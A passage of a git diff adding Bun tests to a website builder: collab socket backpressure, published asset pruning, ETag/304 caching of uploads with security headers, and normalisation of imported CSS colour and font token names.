+    encoding.writeVarUint(inconsistent, frame.length + 1); encoding.writeVarUint(inconsistent, 256 * 1024); encoding.writeUint8Array(inconsistent, new Uint8Array(256 * 1024))
+    expect(() => reader.read(encodeCollabFrame('', first.generation, 5, encoding.toUint8Array(inconsistent)))).toThrow('order')
+  })
+})
diff --git a/src/__tests__/server/collabSocketFlow.test.ts b/src/__tests__/server/collabSocketFlow.test.ts
new file mode 100644
index 000000000..f0b2749c7
--- /dev/null
+++ b/src/__tests__/server/collabSocketFlow.test.ts
@@ -0,0 +1,37 @@
+import { describe, expect, it } from 'bun:test'
+import { createSocketFlow } from '../../../server/collab/socketFlow'
+
+describe('collab socket backpressure', () => {
+  it('waits for drain before processing the next request without resending the queued frame', async () => {
+    const sent: number[] = []
+    const flow = createSocketFlow({ send: (data) => { sent.push(data[0]!); return sent.length === 1 ? -1 : 1 }, close: () => {} })
+    const first = flow.run(() => flow.send(new Uint8Array([1])))
+    const second = flow.run(() => flow.send(new Uint8Array([2])))
+    await Promise.resolve()
+    expect(sent).toEqual([1])
+    flow.drain()
+    await Promise.all([first, second])
+    expect(sent).toEqual([1, 2])
+  })
+
+  it('settles queued work on disconnect without sending it to the closed socket', async () => {
+    const sent: number[] = []
+    const flow = createSocketFlow({ send: (data) => { sent.push(data[0]!); return -1 }, close: () => {} })
+    const first = flow.run(() => flow.send(new Uint8Array([1])))
+    const second = flow.run(() => flow.send(new Uint8Array([2])))
+    await Promise.resolve()
+    flow.close()
+    await Promise.all([first, second])
+    expect(sent).toEqual([1])
+  })
+
+  it('forces reconnect when Bun reports a dropped frame', async () => {
+    let closed = 0
+    let sends = 0
+    const flow = createSocketFlow({ send: () => { sends++; return 0 }, close: () => { closed++ } })
+    await flow.run(() => flow.send(new Uint8Array([1])))
+    await flow.run(() => flow.send(new Uint8Array([2])))
+    expect(closed).toBe(1)
+    expect(sends).toBe(1)
+  })
+})
diff --git a/src/__tests__/server/loopPrefetch.test.ts b/src/__tests__/server/loopPrefetch.test.ts
index 32842b94a..039e566bf 100644
--- a/src/__tests__/server/loopPrefetch.test.ts
+++ b/src/__tests__/server/loopPrefetch.test.ts
@@ -7,7 +7,7 @@ import { describe, expect, it } from 'bun:test'
 import {
   collectLoopNodes,
   prefetchLoopData,
-  publishedDataRowToLoopItem,
+  publishedDataRowToEntryItem,
   readLoopProps,
 } from '../../../server/publish/loopPrefetch'
 import type { DbResult } from '../../../server/db'
@@ -18,8 +18,9 @@ import { makePage, makeSite } from '../publisher/helpers'
 import '@core/loops/sources'
 
 describe('loopPrefetch', () => {
-  it('maps published data row authorship into public loop fields', () => {
-    const item = publishedDataRowToLoopItem({
+  it('maps published data row authorship into public loop fields', async () => {
+    const db = createFakeDb(async () => ({ rows: [] }) as unknown as DbResult)
+    const item = await publishedDataRowToEntryItem(db, {
       id: 'version_1',
       rowId: 'row_1',
       tableId: 'posts',
@@ -47,7 +48,7 @@ describe('loopPrefetch', () => {
       publishedByRoleName: 'Admin',
       publishedAt: '2026-05-01T10:02:00.000Z',
       createdAt: '2026-05-01T10:02:00.000Z',
-    })
+    }, [])
 
     // Every people key is a LEAF. `author` used to be the reference object,
     // so a template binding it published `{"displayName":…,"roleSlug":…}`
@@ -71,6 +72,44 @@ describe('loopPrefetch', () => {
     expect('publishedById' in item.fields).toBe(false)
   })
 
+  it('resolves schema-declared media cells to public paths like the loop source', async () => {
+    const db = createFakeDb(async () => ({
+      rows: [
+        { id: 'media_hero', public_path: '/uploads/hero.jpg' },
+        { id: 'media_a', public_path: '/uploads/a.jpg' },
+      ],
+    }) as unknown as DbResult)
+    const item = await publishedDataRowToEntryItem(db, {
+      id: 'version_1',
+      rowId: 'row_1',
+      tableId: 'projects',
+      tableSlug: 'projects',
+      tableKind: 'postType',
+      tableRouteBase: '/projects',
+      versionNumber: 1,
+      cells: { title: 'Project', slug: 'project', hero: 'media_hero', gallery: ['media_a', 'media_gone'] },
+      slug: 'project',
+      featuredMediaId: null,
+      featuredMediaPath: null,
+      authorUserId: null,
+      authorName: null,
+      authorRoleSlug: null,
+      authorRoleName: null,
+      publishedByUserId: null,
+      publishedByName: null,
+      publishedByRoleSlug: null,
+      publishedByRoleName: null,
+      publishedAt: '2026-05-01T10:02:00.000Z',
+      createdAt: '2026-05-01T10:02:00.000Z',
+    }, [
+      { id: 'gallery', label: 'Gallery', type: 'media', allowMultiple: true },
+      { id: 'hero', label: 'Hero', type: 'media', mediaKind: 'image' },
+    ])
+    expect(item.fields.hero).toBe('/uploads/hero.jpg')
+    expect(item.fields.gallery).toEqual(['/uploads/a.jpg'])
+    expect(item.fields.title).toBe('Project')
+  })
+
   it('readLoopProps coerces missing/invalid props into safe defaults', () => {
     const props = readLoopProps({
       id: 'l',
diff --git a/src/__tests__/server/publishRuntimeAssetRetention.test.ts b/src/__tests__/server/publishRuntimeAssetRetention.test.ts
new file mode 100644
index 000000000..02732a7af
--- /dev/null
+++ b/src/__tests__/server/publishRuntimeAssetRetention.test.ts
@@ -0,0 +1,86 @@
+/**
+ * Every full publish stores each page's bundled runtime files under a fresh
+ * version path. Nothing re-activates an old version, so only the active and
+ * the just-superseded version keep their stored assets; older ones are pruned
+ * on publish. Without this the table grew by the site's whole bundle set on
+ * every publish (1.5 GB on one production site).
+ */
+import { describe, expect, it } from 'bun:test'
+import { createTestDb } from '../helpers/createTestDb'
+import { persistSitePublish } from '../../../server/repositories/publish'
+import { createDataRow } from '../../../server/repositories/data/rows/mutations'
+import { createUser } from '../../../server/repositories/users'
+import { hashPassword } from '../../../server/auth/tokens'
+import { MAIN_SCOPE } from '../../../server/branches/scope'
+import type { DbClient } from '../../../server/db'
+import { makePage, makeSite } from '../fixtures'
+
+async function publishOnce(db: DbClient, pageIds: string[], n: number): Promise<string[]> {
+  const site = makeSite({ pages: pageIds.map((id) => makePage({ id })) })
+  const pages = pageIds.map((pageId) => {
+    const versionId = `${pageId}-v${n}`
+    return {
+      pageId,
+      title: pageId,
+      slug: pageId,
+      versionId,
+      versionNumber: n,
+      runtimeAssets: null,
+      runtimeFiles: ['entry.js', 'chunk.js'].map((name) => ({
+        path: name,
+        publicPath: `/_instatic/assets/${versionId}/${name}`,
+        content: '',
+        bytes: new TextEncoder().encode(`// ${versionId} ${name}`),
+        contentType: 'text/javascript',
+      })),
+    }
+  })
+  await persistSitePublish(db, {
+    siteSnapshotId: `snap-${n}`,
+    site,
+    serializedImportmap: null,
+    pages,
+    publishedByUserId: 'owner_1',
+  })
+  return pages.map((page) => page.versionId)
+}
+
+async function storedVersions(db: DbClient): Promise<string[]> {
+  const { rows } = await db<{ data_row_version_id: string }>`
+    select distinct data_row_version_id from published_runtime_assets order by data_row_version_id
+  `
+  return rows.map((row) => row.data_row_version_id)
+}
+
+describe('published runtime asset retention', () => {
+  it('keeps only the active and previous version assets per page', async () => {
+    const { db, cleanup } = await createTestDb()
+    try {
+      await createUser(db, {
+        id: 'owner_1',
+        email: 'owner@example.com',
+        displayName: 'Owner',
+        passwordHash: await hashPassword('long-enough-password'),
+        roleId: 'owner',
+        allowOwnerRole: true,
+      })
+      for (const id of ['home', 'about']) {
+        await createDataRow(db, MAIN_SCOPE, { id, tableId: 'pages', cells: { title: id }, slug: id })
+      }
+
+      await publishOnce(db, ['home', 'about'], 1)
+      await publishOnce(db, ['home', 'about'], 2)
+      expect(await storedVersions(db)).toEqual(['about-v1', 'about-v2', 'home-v1', 'home-v2'])
+
+      await publishOnce(db, ['home', 'about'], 3)
+      await publishOnce(db, ['home', 'about'], 4)
+      expect(await storedVersions(db)).toEqual(['about-v3', 'about-v4', 'home-v3', 'home-v4'])
+
+      // Version history itself is untouched.
+      const { rows } = await db<{ n: number }>`select count(*) as n from data_row_versions`
+      expect(Number(rows[0]!.n)).toBe(8)
+    } finally {
+      await cleanup()
+    }
+  })
+})
diff --git a/src/__tests__/server/staticAdmin.test.ts b/src/__tests__/server/staticAdmin.test.ts
index 808460b72..e7447dd1f 100644
--- a/src/__tests__/server/staticAdmin.test.ts
+++ b/src/__tests__/server/staticAdmin.test.ts
@@ -1,5 +1,5 @@
 import { describe, expect, it } from 'bun:test'
-import { mkdtempSync, rmSync, writeFileSync, mkdirSync } from 'node:fs'
+import { mkdtempSync, rmSync, writeFileSync, mkdirSync, utimesSync } from 'node:fs'
 import { join } from 'node:path'
 import { tmpdir } from 'node:os'
 import { handleServerRequest } from '../../../server/router'
@@ -209,4 +209,97 @@ describe('self-hosted admin static serving', () => {
       rmSync(uploadsDir, { recursive: true, force: true })
     }
   })
+
+  // `no-cache` uploads must carry a validator, or every editor preview reload
+  // re-downloads every image and font in full.
+  it('answers conditional /uploads requests with 304 until the file changes', async () => {
+    const uploadsDir = mkdtempSync(join(tmpdir(), 'instatic-uploads-'))
+    const get = (headers: Record<string, string> = {}) =>
+      handleServerRequest(new Request('http://localhost/uploads/hero.png', { headers }), {
+        db: fakeDb,
+        uploadsDir,
+      })
+    try {
+      writeFileSync(join(uploadsDir, 'hero.png'), 'image-bytes')
+      utimesSync(join(uploadsDir, 'hero.png'), 1_700_000_000, 1_700_000_000)
+
+      const first = await get()
+      expect(first.status).toBe(200)
+      expect(first.headers.get('cache-control')).toBe('no-cache')
+      const etag = first.headers.get('etag')
+      const lastModified = first.headers.get('last-modified')
+      expect(etag).toMatch(/^W\/".+"$/)
+      expect(lastModified).toBe(new Date(1_700_000_000_000).toUTCString())
+
+      const revalidated = await get({ 'if-none-match': etag! })
+      expect(revalidated.status).toBe(304)
+      expect(await revalidated.text()).toBe('')
+      expect(revalidated.headers.get('etag')).toBe(etag)
+      expect(revalidated.headers.get('content-type')).toBe('image/png')
+      expect(revalidated.headers.has('content-disposition')).toBe(false)
+      expect(revalidated.headers.get('content-security-policy')).toBe("default-src 'none'")
+      expect(revalidated.headers.get('x-content-type-options')).toBe('nosniff')
+
+      expect((await get({ 'if-none-match': `"other", ${etag}` })).status).toBe(304)
+      expect((await get({ 'if-modified-since': lastModified! })).status).toBe(304)
+      expect((await get({ 'if-modified-since': new Date(1_600_000_000_000).toUTCString() })).status).toBe(200)
+      // If-None-Match takes precedence over If-Modified-Since.
+      expect((await get({ 'if-none-match': '"stale"', 'if-modified-since': lastModified! })).status).toBe(200)
+
+      // A replace that keeps the path changes the validator.
+      writeFileSync(join(uploadsDir, 'hero.png'), 'new-image-bytes')
+      const changed = await get({ 'if-none-match': etag! })
+      expect(changed.status).toBe(200)
+      expect(changed.headers.get('etag')).not.toBe(etag)
+      expect(await changed.text()).toBe('new-image-bytes')
+    } finally {
+      rmSync(uploadsDir, { recursive: true, force: true })
+    }
+  })
+
+  it('keeps attachment and CORS protection when a plugin upload is revalidated', async () => {
+    const uploadsDir = mkdtempSync(join(tmpdir(), 'instatic-uploads-'))
+    const assetDir = join(uploadsDir, 'plugins', 'review', '1')
+    mkdirSync(assetDir, { recursive: true })
+    const get = (headers: Record<string, string> = {}) =>
+      handleServerRequest(new Request('http://localhost/uploads/plugins/review/1/icon.svg', { headers }), {
+        db: fakeDb,
+        uploadsDir,
+      })
+    try {
+      writeFileSync(join(assetDir, 'icon.svg'), '<svg xmlns="http://www.w3.org/2000/svg"/>')
+      const first = await get()
+      const revalidated = await get({ 'if-none-match': first.headers.get('etag')! })
+      expect(revalidated.status).toBe(304)
+      expect(await revalidated.text()).toBe('')
+      expect(revalidated.headers.get('content-disposition')).toBe('attachment')
+      expect(revalidated.headers.get('x-content-type-options')).toBe('nosniff')
+      expect(revalidated.headers.get('content-security-policy')).toBe("default-src 'none'")
+      expect(revalidated.headers.get('access-control-allow-origin')).toBe('*')
+      expect(revalidated.headers.get('cross-origin-resource-policy')).toBe('cross-origin')
+    } finally {
+      rmSync(uploadsDir, { recursive: true, force: true })
+    }
+  })
+
+  it('sends validators on immutable admin assets too', async () => {
+    const staticDir = createStaticDir()
+    try {
+      const first = await handleServerRequest(new Request('http://localhost/assets/app.js'), {
+        db: fakeDb,
+        staticDir,
+      })
+      expect(first.headers.get('cache-control')).toBe('public, max-age=31536000, immutable')
+      const etag = first.headers.get('etag')
+      expect(etag).toBeTruthy()
+
+      const revalidated = await handleServerRequest(
+        new Request('http://localhost/assets/app.js', { headers: { 'if-none-match': etag! } }),
+        { db: fakeDb, staticDir },
+      )
+      expect(revalidated.status).toBe(304)
+    } finally {
+      rmSync(staticDir, { recursive: true, force: true })
+    }
+  })
 })
diff --git a/src/__tests__/siteImport/applyImport.test.ts b/src/__tests__/siteImport/applyImport.test.ts
index 8246eb343..a39d99b7e 100644
--- a/src/__tests__/siteImport/applyImport.test.ts
+++ b/src/__tests__/siteImport/applyImport.test.ts
@@ -482,6 +482,43 @@ describe('buildImportPlan — structure', () => {
     expect(p.unusedCss).toContain('styles/unused.css')
   })
 
+  it('rewrites var() references to the slug a root colour token is emitted under (#615)', () => {
+    const html = `<!doctype html><html><head><link rel="stylesheet" href="style.css"></head><body>
+      <h1 class="title">Home</h1><a class="link" href="/">Link</a>
+      <p style="border-color: var(--brand---neutral--700, red)">Note</p>
+    </body></html>`
+    const css = `
+      :root {
+        --brand---neutral--700: #4f5459;
+        --brand-primary: #0575d6;
+        --alias: var(--brand---neutral--700);
+      }
+      .title { color: var(--brand---neutral--700); }
+      .link { color: var(--brand-primary); }
+      .dark { --brand---neutral--700: #000; }
+    `
+    const p = buildImportPlan({
+      fileMap: makeSinglePageFileMap(html, css),
+      currentSite: makeEmptySiteDocument(),
+    })
+
+    expect(p.colors).toEqual([
+      { slug: 'brand-neutral-700', value: '#4f5459' },
+      { slug: 'brand-primary', value: '#0575d6' },
+    ])
+    const rule = (selector: string) => p.styleRules.find((r) => r.selector === selector)
+    expect(rule('.title')?.styles.color).toBe('var(--brand-neutral-700)')
+    expect(rule('.link')?.styles.color).toBe('var(--brand-primary)')
+    expect(rule(':root')?.styles).toEqual({ '--alias': 'var(--brand-neutral-700)' })
+    // A non-root override follows the token to its new name.
+    expect(rule('.dark')?.styles).toEqual({ '--brand-neutral-700': '#000' })
+    const inline = Object.values(p.pages[0].nodeFragment.nodes)
+      .map((node) => node.inlineStyles)
+      .find((styles) => styles && 'borderColor' in styles)
+    expect(inline?.borderColor).toBe('var(--brand-neutral-700, red)')
+    expect(p.conflicts.tokens).toHaveLength(0)
+  })
+
   it('extracts root font variables into font tokens', () => {
     const html = `<!doctype html><html><head><link rel="stylesheet" href="style.css"></head><body><h1>Home</h1></body></html>`
     const css = `
@@ -509,6 +546,80 @@ describe('buildImportPlan — structure', () => {
     expect(p.styleRules.find((rule) => rule.selector === 'h1')?.styles.fontFamily).toBe('var(--font-display)')
   })
 
+  it('rewrites var() references to the variable a root font token is emitted under (#619)', () => {
+    const html = `<!doctype html><html><head><link rel="stylesheet" href="style.css"></head><body>
+      <h1 class="title">Home</h1><p class="body">Body</p><p class="hero">Hero</p>
+    </body></html>`
+    const css = `
+      :root {
+        --font-Heading: "Acme Grotesk", serif;
+        --font-body--alt: "Inter", sans-serif;
+        --font-display: "Acme Grotesk", serif;
+      }
+      .title { font-family: var(--font-Heading); }
+      .body { font-family: var(--font-body--alt); }
+      .hero { font-family: var(--font-display); }
+      .dark { --font-Heading: Georgia, serif; }
+    `
+    const p = buildImportPlan({
+      fileMap: makeSinglePageFileMap(html, css),
+      currentSite: makeEmptySiteDocument(),
+    })
+
+    expect(p.fontTokens.map((t) => [t.name, t.variable])).toEqual([
+      ['Heading', 'font-heading'],
+      ['Body Alt', 'font-body-alt'],
+      ['Display', 'font-display'],
+    ])
+    const rule = (selector: string) => p.styleRules.find((r) => r.selector === selector)
+    expect(rule('.title')?.styles.fontFamily).toBe('var(--font-heading)')
+    expect(rule('.body')?.styles.fontFamily).toBe('var(--font-body-alt)')
+    expect(rule('.hero')?.styles.fontFamily).toBe('var(--font-display)')
+    // A non-root override follows the token to its new name.
+    expect(rule('.dark')?.styles).toEqual({ '--font-heading': 'Georgia, serif' })
+    expect(p.conflicts.tokens).toHaveLength(0)
+  })
+
+  it('keeps both font tokens when two names normalise to the same variable', () => {
+    const html = `<!doctype html><html><head><link rel="stylesheet" href="style.css"></head><body><h1>x</h1></body></html>`
+    const css = `
+      :root { --font-Heading: "Acme Grotesk", serif; --font-heading: "Inter", sans-serif; }
+      h1 { font-family: var(--font-Heading); }
+      h2 { font-family: var(--font-heading); }
+    `
+    const p = buildImportPlan({
+      fileMap: makeSinglePageFileMap(html, css),
+      currentSite: makeEmptySiteDocument(),
+    })
+
+    // The name already in emitted form keeps it; the other takes a suffix.
+    expect(p.fontTokens.map((t) => [t.name, t.variable, t.family])).toEqual([
+      ['Heading 2', 'font-heading-2', 'Acme Grotesk'],
+      ['Heading', 'font-heading', 'Inter'],
+    ])
+    expect(p.styleRules.find((r) => r.selector === 'h1')?.styles.fontFamily).toBe('var(--font-heading-2)')
+    expect(p.styleRules.find((r) => r.selector === 'h2')?.styles.fontFamily).toBe('var(--font-heading)')
+  })
+
+  it('does not give a font token the name of an imported colour token', () => {
+    const html = `<!doctype html><html><head><link rel="stylesheet" href="style.css"></head><body><h1>x</h1></body></html>`
+    const css = `
+      :root { --font-accent: #fc834b; --font-Accent: "Inter", sans-serif; }
+      h1 { color: var(--font-accent); font-family: var(--font-Accent); }
+    `
+    const p = buildImportPlan({
+      fileMap: makeSinglePageFileMap(html, css),
+      currentSite: makeEmptySiteDocument(),
+    })
+
+    expect(p.colors).toEqual([{ slug: 'font-accent', value: '#fc834b' }])
+    expect(p.fontTokens.map((t) => t.variable)).toEqual(['font-accent-2'])
+    expect(p.styleRules.find((r) => r.selector === 'h1')?.styles).toMatchObject({
+      color: 'var(--font-accent)',
+      fontFamily: 'var(--font-accent-2)',
+    })
+  })
+
   it('plans Google Fonts @import as installed font requests', () => {
     const html = `<!doctype html><html><head><link rel="stylesheet" href="style.css"></head><body><h1>Home</h1></body></html>`
     const css = `
diff --git a/src/__tests__/siteImport/colorTokens.test.ts b/src/__tests__/siteImport/colorTokens.test.ts
index 17f80fd3b..5393d0dfe 100644
--- a/src/__tests__/siteImport/colorTokens.test.ts
+++ b/src/__tests__/siteImport/colorTokens.test.ts
@@ -3,7 +3,7 @@
  */
 
 import { describe, it, expect } from 'bun:test'
-import { extractRootColorTokens, isCssColorValue } from '@core/siteImport'
+import { extractRootColorTokens, isCssColorValue, normalizeImportedTokens } from '@core/siteImport'
 import type { NewStyleRule } from '@core/siteImport'
 
 function ambient(selector: string, styles: Record<string, unknown>): NewStyleRule {
@@ -82,3 +82,79 @@ describe('extractRootColorTokens', () => {
     expect(out[0].stylePriorities).toEqual({ '--brand': 'important' })
   })
 })
+
+describe('normalizeImportedTokens', () => {
+  const font = (variable: string) => ({ name: variable, variable, family: 'Inter', fallback: 'sans-serif' })
+
+  it('gives each colour token its emitted slug and maps every changed name (#615)', () => {
+    const { colors, renames } = normalizeImportedTokens({
+      colors: [
+        { slug: 'brand---neutral--700', value: '#4f5459' },
+        { slug: 'brand-primary', value: '#0575d6' },
+        { slug: 'Brand-Accent', value: '#fc834b' },
+      ],
+      fonts: [],
+    })
+    expect(colors).toEqual([
+      { slug: 'brand-neutral-700', value: '#4f5459' },
+      { slug: 'brand-primary', value: '#0575d6' },
+      { slug: 'brand-accent', value: '#fc834b' },
+    ])
+    expect([...renames]).toEqual([
+      ['brand---neutral--700', 'brand-neutral-700'],
+      ['Brand-Accent', 'brand-accent'],
+    ])
+  })
+
+  it('keeps both tokens when two names normalise to the same slug', () => {
+    // The name already in emitted form keeps it, wherever it appears.
+    const { colors, renames } = normalizeImportedTokens({
+      colors: [
+        { slug: 'Brand', value: '#111' },
+        { slug: 'brand', value: '#222' },
+        { slug: 'brand--', value: '#333' },
+      ],
+      fonts: [],
+    })
+    expect(colors.map((t) => t.slug)).toEqual(['brand-2', 'brand', 'brand-3'])
+    expect([...renames]).toEqual([['Brand', 'brand-2'], ['brand--', 'brand-3']])
+  })
+
+  it('does not rename a token onto another variable the import declares', () => {
+    const { colors, renames } = normalizeImportedTokens(
+      { colors: [{ slug: 'a--b', value: '#111' }, { slug: 'bg', value: '#fff' }], fonts: [] },
+      // `a-b` is an unrelated variable; `bg` is the token's own override.
+      new Set(['a-b', 'bg']),
+    )
+    expect(colors.map((t) => t.slug)).toEqual(['a-b-2', 'bg'])
+    expect([...renames]).toEqual([['a--b', 'a-b-2']])
+  })
+
+  it('returns no renames when every name is already in emitted form', () => {
+    const colorTokens = [{ slug: 'bg', value: '#fff' }, { slug: 'ink-2', value: '#000' }]
+    const { colors, fonts, renames } = normalizeImportedTokens({ colors: colorTokens, fonts: [font('font-body')] })
+    expect(colors).toEqual(colorTokens)
+    expect(fonts).toEqual([font('font-body')])
+    expect(renames.size).toBe(0)
+  })
+
+  it('does not rename a colour onto a font token\'s name (#619)', () => {
+    const { colors, fonts, renames } = normalizeImportedTokens({
+      colors: [{ slug: 'font--accent', value: '#fff' }],
+      fonts: [font('font-accent')],
+    })
+    expect(colors.map((t) => t.slug)).toEqual(['font-accent-2'])
+    expect(fonts.map((t) => t.variable)).toEqual(['font-accent'])
+    expect([...renames]).toEqual([['font--accent', 'font-accent-2']])
+  })
+
+  it('does not rename a font onto a colour token\'s name (#619)', () => {
+    const { colors, fonts, renames } = normalizeImportedTokens({
+      colors: [{ slug: 'font-accent', value: '#fff' }],
+      fonts: [font('font-Accent')],
+    })
+    expect(colors.map((t) => t.slug)).toEqual(['font-accent'])
+    expect(fonts.map((t) => [t.name, t.variable])).toEqual([['Accent 2', 'font-accent-2']])
+    expect([...renames]).toEqual([['font-Accent', 'font-accent-2']])
+  })
+})
diff --git a/src/__tests__/siteImport/conflicts.test.ts b/src/__tests__/siteImport/conflicts.test.ts
index be4f5511d..b170e56ee 100644
--- a/src/__tests__/siteImport/conflicts.test.ts
+++ b/src/__tests__/siteImport/conflicts.test.ts
@@ -3,7 +3,8 @@
  */
 
 import { describe, it, expect } from 'bun:test'
-import { detectConflicts, applyConflictResolutions } from '@core/siteImport'
+import { detectConflicts, applyConflictResolutions, buildImportPlan } from '@core/siteImport'
+import { makeSinglePageFileMap } from './fixtures'
 import type {
   ImportPlan,
   PagePlan,
@@ -482,6 +483,53 @@ describe('detectConflicts — design tokens', () => {
   })
 })
 
+describe('detectConflicts — rename targets avoid the import\'s own names', () => {
+  it('does not auto-rename onto another imported token\'s slug', () => {
+    const { tokens } = detectConflicts(siteWithTokens(), [], [], [makeColorToken('bg'), makeColorToken('bg-2')], [])
+    expect(tokens).toHaveLength(1)
+    expect(tokens[0].defaultResolution.resolvedVariable).toBe('bg-3')
+  })
+
+  it('does not auto-rename onto a custom property the imported CSS declares', () => {
+    const rule: NewStyleRule = {
+      name: 'x', kind: 'class', selector: '.x', order: 0,
+      styles: { '--bg-2': '4px', '--font-primary-2': 'serif' }, contextStyles: {},
+    }
+    const { tokens } = detectConflicts(
+      siteWithTokens(), [], [rule], [makeColorToken('bg')], [makeFontToken('font-primary')],
+    )
+    expect(tokens.map((t) => t.defaultResolution.resolvedVariable)).toEqual(['bg-3', 'font-primary-3'])
+  })
+
+  it('detects an authored font variable against an existing token by its emitted name (#619)', () => {
+    const html = `<!doctype html><html><head><link rel="stylesheet" href="style.css"></head><body><p class="u">x</p></body></html>`
+    const css = `:root { --font-Primary: "Acme Grotesk", serif; } .u { font-family: var(--font-Primary); }`
+    const plan = buildImportPlan({ fileMap: makeSinglePageFileMap(html, css), currentSite: siteWithTokens() })
+
+    expect(plan.conflicts.tokens.map((t) => [t.kind, t.desiredVariable, t.defaultResolution.resolvedVariable]))
+      .toEqual([['font', 'font-primary', 'font-primary-2']])
+    const result = applyConflictResolutions(plan, [], [], plan.conflicts.tokens)
+    expect(result.fontTokens.map((t) => t.variable)).toEqual(['font-primary-2'])
+    expect(result.styleRules.find((r) => r.selector === '.u')?.styles.fontFamily).toBe('var(--font-primary-2)')
+  })
+
+  it('keeps both colours when a normalised name and a conflict rename meet (#615)', () => {
+    // `--BG` normalises to `bg-2`, so the conflict rename of `--bg` must not
+    // take `bg-2` too, or one colour is lost at commit.
+    const html = `<!doctype html><html><head><link rel="stylesheet" href="style.css"></head><body><p class="u">x</p></body></html>`
+    const css = `:root { --bg: #111; --BG: #222; } .u { color: var(--BG); background: var(--bg); }`
+    const plan = buildImportPlan({ fileMap: makeSinglePageFileMap(html, css), currentSite: siteWithTokens() })
+    const result = applyConflictResolutions(plan, [], [], plan.conflicts.tokens)
+
+    expect(result.colors).toEqual([
+      { slug: 'bg-3', value: '#111' },
+      { slug: 'bg-2', value: '#222' },
+    ])
+    const u = result.styleRules.find((r) => r.selector === '.u')
+    expect(u?.styles).toMatchObject({ color: 'var(--bg-2)', background: 'var(--bg-3)' })
+  })
+})
+
 describe('applyConflictResolutions — design tokens', () => {
   it('rename: renames the imported colour token AND rewrites var(--bg) refs in style rules', () => {
     const rule: NewStyleRule = {
@@ -507,6 +555,86 @@ describe('applyConflictResolutions — design tokens', () => {
     expect(result.styleRules[0].styles.color).toBe('var(--ink)')
   })
 
+  it('custom rename: renames a colour token to its emitted slug and rewrites refs to it', () => {
+    const rule: NewStyleRule = {
+      name: 'hero',
+      kind: 'class',
+      selector: '.hero',
+      order: 0,
+      styles: { color: 'var(--bg)' },
+      contextStyles: {},
+    }
+    const plan = makeTokenPlan({ colors: [makeColorToken('bg')], styleRules: [rule] })
+    const res: TokenConflict = {
+      kind: 'color',
+      desiredVariable: 'bg',
+      existingTokenId: 'existing-color-id',
+      defaultResolution: { action: 'custom-rename', resolvedVariable: 'Hero BG' },
+    }
+    const result = applyConflictResolutions(plan, [], [], [res])
+
+    expect(result.colors[0].slug).toBe('hero-bg')
+    expect(result.styleRules[0].styles.color).toBe('var(--hero-bg)')
+  })
+
+  it('rename: renames a declaration of the token in a non-root rule, with its priority', () => {
+    const rule: NewStyleRule = {
+      name: 'dark',
+      kind: 'class',
+      selector: '.dark',
+      order: 0,
+      styles: { '--bg': '#000', '--other': '#111' },
+      stylePriorities: { '--bg': 'important' },
+      contextStyles: { 'bp-mobile': { '--bg': '#222' } },
+      contextStylePriorities: { 'bp-mobile': { '--bg': 'important' } },
+    }
+    const plan = makeTokenPlan({ colors: [makeColorToken('bg')], styleRules: [rule] })
+    const res: TokenConflict = {
+      kind: 'color',
+      desiredVariable: 'bg',
+      existingTokenId: 'existing-color-id',
+      defaultResolution: { action: 'auto-rename', resolvedVariable: 'bg-2' },
+    }
+    const [result] = applyConflictResolutions(plan, [], [], [res]).styleRules
+
+    expect(result.styles).toEqual({ '--bg-2': '#000', '--other': '#111' })
+    expect(result.stylePriorities).toEqual({ '--bg-2': 'important' })
+    expect(result.contextStyles).toEqual({ 'bp-mobile': { '--bg-2': '#222' } })
+    expect(result.contextStylePriorities).toEqual({ 'bp-mobile': { '--bg-2': 'important' } })
+  })
+
+  it('rename: renames a font token\'s declaration in another rule', () => {
+    const rule: NewStyleRule = {
+      name: 'serif', kind: 'class', selector: '.serif', order: 0,
+      styles: { '--font-primary': 'Georgia, serif', fontFamily: 'var(--font-primary)' }, contextStyles: {},
+    }
+    const plan = makeTokenPlan({ fontTokens: [makeFontToken('font-primary')], styleRules: [rule] })
+    const res: TokenConflict = {
+      kind: 'font',
+      desiredVariable: 'font-primary',
+      existingTokenId: 'existing-font-id',
+      defaultResolution: { action: 'auto-rename', resolvedVariable: 'font-primary-2' },
+    }
+    const [result] = applyConflictResolutions(plan, [], [], [res]).styleRules
+    expect(result.styles).toEqual({ '--font-primary-2': 'Georgia, serif', fontFamily: 'var(--font-primary-2)' })
+  })
+
+  it('rename: renames declarations and references inside raw @keyframes CSS', () => {
+    const rule: NewStyleRule = {
+      name: 'pulse', kind: 'ambient', selector: '@keyframes pulse', order: 0, styles: {}, contextStyles: {},
+      rawCss: '@keyframes pulse {\nfrom { --bg: #000; color: var(--bg); --bgx: #111; }\n}',
+    }
+    const plan = makeTokenPlan({ colors: [makeColorToken('bg')], styleRules: [rule] })
+    const res: TokenConflict = {
+      kind: 'color',
+      desiredVariable: 'bg',
+      existingTokenId: 'existing-color-id',
+      defaultResolution: { action: 'auto-rename', resolvedVariable: 'bg-2' },
+    }
+    const [result] = applyConflictResolutions(plan, [], [], [res]).styleRules
+    expect(result.rawCss).toBe('@keyframes pulse {\nfrom { --bg-2: #000; color: var(--bg-2); --bgx: #111; }\n}')
+  })
+
   it('rename: rewrites var refs inside node inlineStyles, preserving fallbacks', () => {
     const page: PagePlan = {
       source: 'index.html',
diff --git a/src/__tests__/siteImport/cssToStyleRules.test.ts b/src/__tests__/siteImport/cssToStyleRules.test.ts
index 218534731..a150c3e28 100644
--- a/src/__tests__/siteImport/cssToStyleRules.test.ts
+++ b/src/__tests__/siteImport/cssToStyleRules.test.ts
@@ -129,6 +129,27 @@ describe('cssToStyleRules — selector classification', () => {
 // @media policy — matched breakpoint
 // ---------------------------------------------------------------------------
 
+describe('cssToStyleRules — custom property names (#616)', () => {
+  it('keeps custom properties with underscores or a leading --_ as authored', () => {
+    const css = `.card {
+      --card_bg: #0575d6;
+      --_accent: #fc834b;
+      --plain-ok: #161617;
+      background: var(--card_bg);
+      border-color: var(--_accent);
+      color: var(--plain-ok);
+    }`
+    const { rules, warnings } = cssToStyleRules(css)
+    expect(rules).toHaveLength(1)
+    expect(rules[0].styles).toMatchObject({
+      '--card_bg': '#0575d6',
+      '--_accent': '#fc834b',
+      '--plain-ok': '#161617',
+    })
+    expect(warnings).toHaveLength(0)
+  })
+})
+
 describe('cssToStyleRules — @media → contextStyles (matched)', () => {
   it('base + matched @media → 1 rule, base styles + contextStyles', () => {
     const css = '.foo { color: red }\n@media (max-width: 768px) { .foo { color: blue } }'
diff --git a/src/admin/pages/site/agent/markdown.ts b/src/admin/pages/site/agent/markdown.ts
index 24aa0c326..5ede90862 100644
